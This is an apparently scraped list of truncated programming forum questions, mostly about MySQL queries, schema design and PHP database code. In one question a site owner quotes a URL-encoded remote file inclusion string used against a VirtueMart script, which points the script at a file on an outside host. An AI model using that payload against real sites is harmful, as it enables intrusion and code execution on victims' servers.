Hello all, I put together a very simple search engine based on an article un zend's website using fulltext. My understanding is that if a keyword scores 50% or more, this will be dropped. This is good, but I know my client is not going to like it. I know they expect some keywords to be shown within a search result.
My main problem is th...
I have a table that contains a column named views. Each time the user refreshes the page, it updates the view count +1.
What im trying to do, is create a mysql query to output the list of rows based on their views count, from highest to lowest.
this is what i thought would work
SELECT * FROM picdb ORDER BY views DESC LIMIT 10
even wh...
Lets say each row of our table contains information about various vehicles for sale. And each user can store several images of each vehicle.
What might be a good approach to storing these images?
Duplicate: User Images: Database or filesystem storage?
Duplicate: Storing images in database: Yea or nay?
Duplicate: Should I store my image...
I was about to ask essentially the same question as this one. However, since no one answered it, I'll assume that nested inline forms aren't possible.
So instead I'll just ask how you would approach designing something like this in Django:
A retailer sells clothing. Each sweater design has a Style number. This style is available in di...
table structure
id | message | reply_id
1 | help me! | 0
434 | love to | 1
852 | didn't work | 434
0110 | try this | 852
2200 | this wont | 0
5465 | done. :) | 0110
i have a id "852" which is middle of tree menu, but i want to get all the previous related and next re...
I recently had an attack on my site and the attacker tried to alter one of my SQL statements, by adding the following string
%2f%2fcomponents%2fcom%5fvirtuemart%2fshow%5fimage%5fin%5fimgtag%2ephp%3fmosConfig%5fabsolute%5fpath%3dhttp%3a%2f%2fwww%2ekwangsung%2ees%2ekr%2f%2fUserFiles%2fshirohige%2fzfxid%2etxt
to a value.
Anyways, I don...
Disclaimer: I just started with databases, so I'm probably missing something extremely trivial.
I have two (somewhat related, but not enough to be a single table) tables: table_one and table_two.
table_one has two columns of significance:
name of type varchar(n)
intersects of type bit
table_two has one column of significance:
n...
Why does this pdo::mysql code crash on windows???
<?php
$username = "root";
$password = "";
try {
$dsn = "mysql:host=localhost;dbname=employees";
$dbh = new PDO($dsn, $username, $password);
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, FALSE);
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
echo "Connected to datab...
I have two tables: CATEGORY and SUBCATEGORY
Table Structure for CATEGORY
category_id int(11)
category_name varchar(250)
category_status enum('0', '1')
Table Structure for SUBCATEGORY
subcategory_id int(10)
subcategory_name varchar(255)
status enum('0', '1')
For example there is a single...
This is my first time building a database with a table containing 10 million records. The table is a members table that will contain all the details of a member.
What do I need to pay attention when I build the database?
Do I need a special version of MySQL? Should I use MyISAM or InnoDB?
...
I have a "colors" table in my database.
The user enters a color trough the user interface, and the backend searches for the most similar looking color existing in the colors table, calculating the distance of the colors in the HCL space.
I will implement a caching algorithm, which should store the distance between previously calculated...
Could anybody help me to know what is normalization in mysql and in which case and how we need to use it..
Thanks in advance.
...
I am using sql.
How to select all items from a table.
where a column (varchar) path is start with a certain string : "stringABC"
select * from ATable where path like 'stringABC';
The above sql is wrong, can any one help me to fix it?
Many thanks!
...
I am slightly confused on how to setup my table. I have three roles which can be selected through checkbox. While registration.... if user selects one and two... then those pages should be visible, if he selected one and three then those pages and if selects anyone of them then those alone...
Let us name the page 1 as client management...
Hi!
I use jquery to post data to mysql.
**In settings.php i have this short JS code:**
$("form#submit").submit(function() {
var fname = $('#fname').attr('value');
var lname = $('#lname').attr('value');
$.ajax({
type: "POST",
url: "settings.php",
data: "fname="+ fname +"& lname="+ lname,
success: function(){...
i have a table having
create table test(id int not null primary key, day date not null);
insert into test(id, day) values(1, '2006-10-08');
insert into test(id, day) values(2, '2006-10-08');
insert into test(id, day) values(3, '2006-10-09');
select * from test;
+----+------------+
| id | day |
+----+------------+
| 1 | 2006-1...
id | photo title | created_date
XEi43 | my family | 2009 08 04
dDls | friends group | 2009 08 05
32kJ | beautiful place | 2009 08 06
EOIk | working late | 2009 08 07
Say I have the id 32kJ. How would I get the new or previous row?
...
I am attempting to hash a string to a 64-bit value (bigint) in MySQL. I am aware of the MD5() function, which returns a 128-bit hash as a binary string. I'd be happy to just take the bottom or top 64 bits of this result. However, I cannot figure out how to get from a binary string type to a numeric type of any sort. Any pointers?
...
I'm trying to query the latest entries on two different tables as one query:
SELECT
news.title AS news_title,
news.sid AS news_id,
downloads.lid AS download_id,
downloads.title AS download_title
FROM
news,
downloads
ORDER BY
news_id DESC,
download_id DESC
LIMIT 0,10
The query is really slow and it s...
Hi.
I have three tables, each contain some common information, and some information that is unique to the table.
For example: uid, date are universal among the tables, but one table can contain a column type while the other contains currency.
I need to query the database and get the last 20 entries (date DESC) that have been entered in ...